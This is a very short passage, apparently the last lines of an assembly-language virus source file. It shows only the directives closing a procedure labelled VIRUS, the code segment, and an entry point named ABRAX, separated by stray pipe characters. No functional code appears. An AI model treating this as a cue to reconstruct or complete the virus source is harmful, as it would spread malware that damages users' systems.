|
;
|
||
|
|
||
|
VIRUS ENDP
|
||
|
CODE ENDS
|
||
|
|
||
|
END ABRAX
|